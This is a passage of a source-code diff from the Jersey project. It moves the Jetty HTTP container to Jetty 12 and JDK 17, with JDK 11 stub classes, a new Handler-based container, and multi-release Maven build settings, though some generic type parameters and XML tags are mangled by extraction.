final String responseMsg = response.readEntity(String.class);
assertEquals(200, response.getStatus());
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
index 171d534fce7..ec3f174142a 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
@@ -1,4 +1,5 @@
/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -19,15 +20,15 @@
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
+import org.eclipse.jetty.client.ContentResponse;
import org.eclipse.jetty.client.HttpClient;
import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
+import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP;
import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
import org.eclipse.jetty.io.ClientConnector;
import org.eclipse.jetty.util.ssl.SslContextFactory;
-import static org.junit.Assert.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* Jetty {@link HttpClient} supports both HTTP 1.1 and HTTP/2.
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml
index 02fe0f2aa75..f45013e9baf 100644
--- a/containers/grizzly2-servlet/pom.xml
+++ b/containers/grizzly2-servlet/pom.xml
@@ -1,7 +1,7 @@
+ target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class
+
+ [11,17)
+
+
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+ true
+
+
+ true
+
+
+
+
+ org.apache.maven.plugins
+ maven-resources-plugin
+ true
+
+
+ copy-jdk17-classes
+ prepare-package
+
+ copy-resources
+
+
+ ${java11.build.outputDirectory}/classes/META-INF/versions/17
+
+
+ ${java17.build.outputDirectory}/classes
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-antrun-plugin
+
+
+ copy-jdk17-sources
+ package
+
+
+
+ sources-jar: ${sources-jar}
+
+
+
+
+
+
+ run
+
+
+
+
+
+
+
+
+
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
index f4faac678a5..2e8b5c5b9ed 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,18 +31,27 @@
*/
public final class JettyHttpContainerProvider implements ContainerProvider {
+ public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
@Override
public T createContainer(final Class type, final Application application) throws ProcessingException {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
- if (type != null
- && ("org.eclipse.jetty.server.Handler".equalsIgnoreCase(type.getCanonicalName())
- || JettyHttpContainer.class == type)
- ) {
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
return type.cast(new JettyHttpContainer(application));
}
return null;
}
+ public T createContainer(final Class type, final Application application,
+ Object parentContext) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainer(application, parentContext));
+ }
+ return null;
+ }
+
}
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
index fe776b9f406..5022feed086 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Markus KARG. All rights reserved.
*
* This program and the accompanying materials are made available under the
@@ -17,8 +17,12 @@
package org.glassfish.jersey.jetty;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
import org.glassfish.jersey.server.spi.WebServer;
import org.glassfish.jersey.server.spi.WebServerProvider;
@@ -33,18 +37,24 @@
public final class JettyHttpServerProvider implements WebServerProvider {
@Override
- public final T createServer(final Class type, final Application application,
- final JerseySeBootstrapConfiguration configuration) {
- return JettyHttpServer.class == type || WebServer.class == type
- ? type.cast(new JettyHttpServer(application, configuration))
+ public T createServer(final Class type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
: null;
}
@Override
public T createServer(final Class type, final Class extends Application> applicationClass,
- final JerseySeBootstrapConfiguration configuration) {
- return JettyHttpServer.class == type || WebServer.class == type
- ? type.cast(new JettyHttpServer(applicationClass, configuration))
+ final SeBootstrap.Configuration configuration) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
: null;
}
}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 00000000000..55258ea1184
--- /dev/null
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.eclipse.jetty.server.Handler;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer implements Container {
+
+ @Override
+ public ResourceConfig getConfiguration() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public void reload() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public void reload(final ResourceConfig configuration) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public ApplicationHandler getApplicationHandler() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ */
+ JettyHttpContainer(final Application application, final Object parentContext) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Application application) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Class extends Application> applicationClass) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 00000000000..61e19775f55
--- /dev/null
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import java.net.URI;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link Server#stop()} method.
+ *
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+ private JettyHttpContainerFactory() {
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri) throws ProcessingException {
+ return createServer(uri, null, null, true);
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+ return createServer(uri, null, null, start);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config)
+ throws ProcessingException {
+
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, null, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+ final ResourceConfig config)
+ throws ProcessingException {
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, sslContextFactory, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ */
+ public static Server createServer(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 00000000000..70fcc561263
--- /dev/null
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+ private final JettyHttpContainer container;
+
+ private final org.eclipse.jetty.server.Server httpServer;
+
+ JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+ }
+
+ JettyHttpServer(final Class extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JettyHttpContainer(applicationClass), configuration);
+ }
+
+ JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final JettyHttpContainer container() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final int port() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final CompletableFuture start() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final CompletableFuture stop() {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ @Override
+ public final T unwrap(final Class nativeClass) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 00000000000..dfe20f23387
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.io.OutputStream;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.Principal;
+import java.util.List;
+import java.util.Map;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.SecurityContext;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.io.Content;
+import org.eclipse.jetty.security.AuthenticationState;
+import org.eclipse.jetty.server.Handler;
+import org.eclipse.jetty.util.Callback;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.ExtendedLogger;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer extends Handler.Abstract implements Container {
+
+ private static final ExtendedLogger LOGGER =
+ new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
+
+ private static final Type REQUEST_TYPE = (new GenericType[>() {}).getType();
+ private static final Type RESPONSE_TYPE = (new GenericType][>() {}).getType();
+
+ private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
+
+ /**
+ * Cached value of configuration property
+ * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+ * If {@code true} method {@link Response#setStatus(int)} is used over {@link Response#writeError(Request, Response, Callback, int)}
+ */
+ private boolean configSetStatusOverSendError;
+
+ /**
+ * Referencing factory for Jetty request.
+ */
+ private static class JettyRequestReferencingFactory extends ReferencingFactory] {
+ @Inject
+ public JettyRequestReferencingFactory(final Provider[> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * Referencing factory for Jetty response.
+ */
+ private static class JettyResponseReferencingFactory extends ReferencingFactory] {
+ @Inject
+ public JettyResponseReferencingFactory(final Provider[> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * An internal binder to enable Jetty HTTP container specific types injection.
+ * This binder allows to inject underlying Jetty HTTP request and response instances.
+ * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
+ * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
+ * {@link jakarta.inject.Provider injection provider}.
+ */
+ private static class JettyBinder extends AbstractBinder {
+
+ @Override
+ protected void configure() {
+ bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.]referenceFactory()).to(new GenericType[>() {})
+ .in(RequestScoped.class);
+
+ bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.]referenceFactory()).to(new GenericType[>() {})
+ .in(RequestScoped.class);
+ }
+ }
+
+ private volatile ApplicationHandler appHandler;
+
+ @Override
+ public boolean handle(Request request, Response response, Callback callback) throws Exception {
+
+ final ResponseWriter responseWriter = new ResponseWriter(request, response, callback, configSetStatusOverSendError);
+ try {
+ final URI baseUri = getBaseUri(request);
+ final URI requestUri = getRequestUri(request, baseUri);
+ final ContainerRequest requestContext = new ContainerRequest(
+ baseUri,
+ requestUri,
+ request.getMethod(),
+ getSecurityContext(request),
+ new MapPropertiesDelegate(),
+ appHandler.getConfiguration());
+ requestContext.setEntityStream(Request.asInputStream(request));
+ request.getHeaders().forEach(httpField ->
+ requestContext.headers(httpField.getName(), httpField.getValue() == null ? "" : httpField.getValue()));
+ requestContext.setWriter(responseWriter);
+ requestContext.setRequestScopedInitializer(injectionManager -> {
+ injectionManager.][>getInstance(REQUEST_TYPE).set(request);
+ injectionManager.][>getInstance(RESPONSE_TYPE).set(response);
+ });
+
+ appHandler.handle(requestContext);
+ return true;
+ } catch (URISyntaxException e) {
+ setResponseForInvalidUri(request, response, callback, e);
+ return true;
+ } catch (final Exception ex) {
+ callback.failed(ex);
+ throw new RuntimeException(ex);
+ }
+ }
+
+ private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+ final String serverAddress = getServerAddress(baseUri);
+ String uri = request.getHttpURI().getPath();
+
+ final String queryString = request.getHttpURI().getQuery();
+ if (queryString != null) {
+ uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+ }
+
+ return new URI(serverAddress + uri);
+ }
+
+ private void setResponseForInvalidUri(final Request request, final Response response,
+ final Callback callback, final Throwable throwable) {
+ LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+ if (configSetStatusOverSendError) {
+ response.reset();
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
+ callback.failed(throwable);
+ } else {
+ Response.writeError(request, response, callback, BAD_REQUEST_STATUS.getStatusCode(),
+ BAD_REQUEST_STATUS.getReasonPhrase(), throwable);
+ }
+ }
+
+ private String getServerAddress(URI baseUri) {
+ String serverAddress = baseUri.toString();
+ if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
+ return serverAddress.substring(0, serverAddress.length() - 1);
+ }
+ return serverAddress;
+ }
+
+ private SecurityContext getSecurityContext(final Request request) {
+
+ AuthenticationState.Succeeded authenticationState = AuthenticationState.authenticate(request);
+
+ return new SecurityContext() {
+
+ @Override
+ public boolean isUserInRole(final String role) {
+ return authenticationState != null && authenticationState.isUserInRole(role);
+ }
+
+ @Override
+ public boolean isSecure() {
+ return request.isSecure();
+ }
+
+ @Override
+ public Principal getUserPrincipal() {
+ return authenticationState != null ? authenticationState.getUserIdentity().getUserPrincipal() : null;
+ }
+
+ @Override
+ public String getAuthenticationScheme() {
+ return authenticationState != null ? authenticationState.getAuthenticationType() : null;
+ }
+ };
+ }
+
+
+ private URI getBaseUri(final Request request) throws URISyntaxException {
+ return new URI(request.getHttpURI().getScheme(), null, Request.getServerName(request),
+ Request.getServerPort(request), getBasePath(request), null, null);
+ }
+
+ private String getBasePath(final Request request) {
+ final String contextPath = Request.getContextPath(request);
+
+ if (contextPath == null || contextPath.isEmpty()) {
+ return "/";
+ } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
+ return contextPath + "/";
+ } else {
+ return contextPath;
+ }
+ }
+
+ private static final class ResponseWriter implements ContainerResponseWriter {
+
+ private final Request request;
+ private final Response response;
